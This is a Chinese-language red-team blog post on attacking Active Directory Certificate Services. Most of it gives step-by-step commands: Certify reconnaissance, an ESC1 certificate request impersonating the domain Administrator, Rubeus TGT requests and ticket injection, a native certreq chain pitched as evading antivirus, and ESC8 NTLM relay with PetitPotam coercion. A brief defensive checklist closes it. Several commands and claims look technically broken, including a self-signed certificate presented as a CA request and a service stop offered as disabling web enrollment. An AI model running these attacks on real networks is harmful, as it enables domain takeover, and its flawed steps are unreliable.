挖到AD CS漏洞后，我才发现之前打域控的方法都太蠢了

上回咱们聊了Kerberos攻击的五种王牌打法。但说实话，即便你拿到了黄金票据，只要域控侧做一次krbtgt密码轮换，你的后门也就凉了。真正让红队狂喜、让蓝队头疼的，是另一条路——Active Directory Certificate Services（AD CS）。

随便说几个数据吧：根据2025年Black Hat发布的调查，全球超过60%的Active Directory环境中部署了AD CS服务，而其中至少有80%的配置存在可以被利用的安全漏洞。这个比例比我之前估算的要高得多——几乎可以说，只要内网里跑了企业CA，大概率就能利用。

今天这篇，咱们把AD CS的攻击链路彻底拆开，从信息收集到漏洞利用到权限回收，一条龙捋清楚。

一、为什么AD CS是红队的香饽饽？

先搞明白一件事：AD CS在Windows域里的权限到底有多大。

CA（证书颁发机构）颁发的证书可以被用于：

用户身份认证（智能卡登录、VPN）
代码签名和执行
EFS（加密文件系统）恢复
最关键的：域身份请求凭证

你想想，当一个普通域用户可以向CA申请一张允许域身份模拟的证书时，就意味着他能拿着这张证书，去域控那里换一张域管理员权限的TGT。这就是ESC1攻击的精髓——CA配置不当，导致普通用户能申请高权限证书。

从攻击者视角来看，AD CS的价值在于：

不需要高权限 — 很多ESC漏洞只需要一个普通域用户就能出发
持久性极强 — 证书的有效期可以长达数年，而且比krbtgt密码更难轮换
隐蔽性高 — 证书请求是CA的日常操作，蓝队很少监控CA的审计日志
绕过现代防护 — LSA保护、Credential Guard对证书攻击基本无能为力

二、实战信息收集：先把CA的底裤扒干净

进入内网后，第一步是确认AD CS服务是否存在以及它的配置情况。

2.1 发现CA服务器

直接用PowerShell查AD CS服务器的信息：

# 查询企业CA信息
Get-ADObject -LDAPFilter "(objectClass=pKIEnrollmentService)" -Properties *

或者用Certify工具，这是Will Schroeder和Lee Christensen开发的AD CS侦察瑞士军刀：

# 枚举CA信息和所有可利用的证书模板
Certify.exe find /vulnerable

# 输出会告诉你：
# - CA服务器的FQDN和名称
# - 证书模板的配置信息
# - 哪些模板存在ESC漏洞

举个例子，输出中如果看到类似这样的信息，那就是重大利好：

CA Name    : corp-adca.corp.local\corp-CA
Template   : SubCA (v1)
Client Auth: ENABLED
Enabled    : TRUE
ESC1       : VULNERABLE  ★★★★★
  - RequiresManagerApproval : FALSE
  - Schema Version          : 1
  - pkiextendedkeyusage     : Client Authentication
  - SubjectAltName          : Requires DNS or UPN

flag: ESC1漏洞，意味着我们可以在证书的SAN（使用者可选名称）字段中指定任意UPN。

2.2 手工排查（在没有Certify的情况下）

如果目标环境限制了工具落地，用原生PowerShell也能做基础排查：

# 查看CA服务器列表
certutil -config - -ping

# 列出所有证书模板
certutil -CATemplates

# 查看模板权限
certutil -v -dsTemplate

关键要看这三个配置：

CA是否开启了用户审批？（RequiresManagerApproval = False）
证书模板是否允许客户端认证？（Client Authentication EKU）
申请者能否在SAN字段指定任意身份？（"Supply in the request"）

这三个条件同时满足，ESC1就来了。

三、ESC1漏洞利用：一张证书搞定域管

好的，假设我们已经发现了ESC1漏洞的CA和证书模板，接下来动手。

3.1 申请恶意证书

用Certify或原生certreq来申请证书：

# 用Certify申请一张域管理员权限的证书
Certify.exe request /ca:corp-adca.corp.local\corp-CA ^
  /template:SubCA ^
  /altname:corp\Administrator

# 解释：
# /ca: CA服务器的名称
# /template: 存在ESC1漏洞的证书模板
# /altname: 我们要冒充的用户（域管理员）

如果certreq不落地，也可以手工构造请求：

# 用PowerShell生成证书请求
$upn = "administrator@corp.local"
$cert = New-SelfSignedCertificate -Subject "CN=$upn" `
  -TextExtension @("2.5.29.17={text}upn=$upn") `
  -KeyUsage DigitalSignature, KeyEncipherment `
  -ExtendedKeyUsage @("1.3.6.1.5.5.7.3.2")  # Client Auth

申请成功后，证书生成并保存到本地证书存储，也可以用Certify的 /outfile 参数导出为PFX文件。

3.2 用证书换TGT

拿到证书后，用Rubeus去域控换TGT：

# 通过证书请求TGT
Rubeus.exe asktgt /user:corp\Administrator ^
  /certificate:admin.pfx ^
  /password:OurCertPassword123! ^
  /domain:corp.local /dc:dc01.corp.local

# 成功后得到：
[*] Base64(MIT Kerberos Ticket):
doIFqjCCBaagAwIBBaEDAgEW...

把TGT注入当前会话：

# 注入票据
Rubeus.exe ptt /ticket:doIFqjCCBaagAwIBBaEDAgEW...

# 验证权限
klist
dir \\dc01.corp.local\c$

如果看到 \\dc01.corp.local\c$ 能正常列出目录结构，恭喜——你已是域管。

3.3 没有Certify怎么办？

红队面临最头疼的问题就是工具传不上去、防病毒拦截。这种情况下，可以考虑用 certutil + certreq 这套原生组合拳：

# 1. 生成INF请求文件
echo [NewRequest] > request.inf
echo Subject = "CN=evil" >> request.inf
echo KeySpec = 1 >> request.inf
echo KeyLength = 2048 >> request.inf
echo Exportable = TRUE >> request.inf
echo RequestType = PKCS10 >> request.inf
echo MachineKeySet = FALSE >> request.inf
echo [Extensions] >> request.inf
echo 2.5.29.17 = "{text}upn=administrator@corp.local" >> request.inf

# 2. 提交请求
certreq -new request.inf cert.cer

# 3. 导出私钥（需要CA审批通过后）
certreq -accept cert.cer

# 4. 导出PFX
certreq -exportpfx -p "P@ssw0rd" cert.cer admin.pfx

这套方法的好处是：全部是Windows原生工具，杀软不会拦。

四、不只是ESC1 — 其他值得关注的AD CS攻击向量

我在这里列举几个在实战中值钱的ESC漏洞，方便大家排查时有的放矢：

ESC3 — 注册代理绕过

证书模板启用了"注册代理"（Enrollment Agent）EKU，且CA允许代理代签。攻击流程：用一个普通账户申请代理证书 → 用代理证书替域管签名 → 提权。

ESC8 — NTLM中继到AD CS

这个才是真正的"一发入魂"。CA服务器的Web注册接口（/certsrv）默认使用NTLM认证。攻击者可以在内网布置中继监听器，诱导域控或高权限账户的NTLM认证请求中继到CA，从而直接申请证书。不需要任何漏洞配置，只需要CA开了Web接口（默认开启）。

# 用ntlmrelayx配合Certify
# 在被控机器上启动中继:
impacket-ntlmrelayx -t http://corp-ca/certsrv/ `
  -smb2support --adcs --template DomainController

# 诱导域控访问你的SMB中继:
# 可以用Printer Bug、PetitPotam等手法强制域控回连
PetitPotam.exe YOUR_IP dc01.corp.local

中继成功，就直接拿到了域控的证书——比打漏洞快十倍。

ESC13 — CA颁发的高特权组自动映射

CA配置了到高特权安全组（如Domain Admins、Enterprise Admins）的自动映射，持有对应证书的用户自动获得组成员资格。这种情况比ESC1还爽——证书本身就是高权限。

五、防御侧怎么看：蓝队自查清单

说了这么多攻击手法，也得给防守方一个交代。作为安全从业者，我建议从以下几个维度自查：

5.1 纵深检查项

检查项排查命令风险等级CA是否开启Web接口`certutil -config CA_FQDN -ca.cert` 检查IIS高危模板是否允许"Supply in Request"`certutil -CATemplates \find "SAN"`高危审核日志是否开启事件ID 4886/4887/4898中危Escrow代理模板是否存在检查"Enrollment Agent" EKU的模板中危NTLM明文认证下放GPO中Network Security: Restrict NTLM设置高危

5.2 紧急修复建议

如果确认存在AD CS漏洞，按优先级修复：

最紧急：关闭CA的Web注册接口（Stop-Service -Name "CertSvc" -Force 先临时禁用）
根本修：修正证书模板的"允许注册"权限，去掉低权限用户的Enroll权限
审计修：开启CA的审核日志（事件ID 4886-4898），对接SIEM
架构修：考虑升级到Windows Server 2025的强化CA策略（默认更严格）

六、总结

AD CS攻击这条路，坦白讲，比传统的DCSync、NTDS.dit提取、Skeleton Key这些手法，在实战中的成功率和隐蔽性都要高出一截。原因很简单——证书基础设施的默认配置太宽松了，企业在上线PKI时往往只考虑业务能用，很少有人去关注它的攻击面。

我也不是说爆什么零日漏洞，事实上ESC1到ESC13这些攻击向量早在2021年就被SpecterOps团队公开了。但快六年过去了，我们去客户现场做红队评估，十有八九都能通过AD CS打出突破口。这个数字让我有点害怕——说明行业对PKI安全的重视程度远远不够。

对内网渗透的系列，咱们从信息收集聊到横向移动、权限维持、Kerberos攻击，再到今天的AD CS，基本上把域内攻击的核心链路串了一遍。下一篇我会聊聊域林信任攻击和跨林渗透——如果蓝队在单域内防得密不透风，跨域信任就是红队最后的突破口。

如果你在现场排查AD CS问题或者遇到特定的配置，欢迎在评论区交流。另外，关注公众号可以第一时间获取安全值班室的推文，以及配套的攻防工具包。

关注「安全值班室」公众号

每天网络安全实战攻防案例 + 安全干货

posted on 2026-08-05 21:51 明.Sir 阅读(0) 评论(0) 收藏举报

刷新页面返回顶部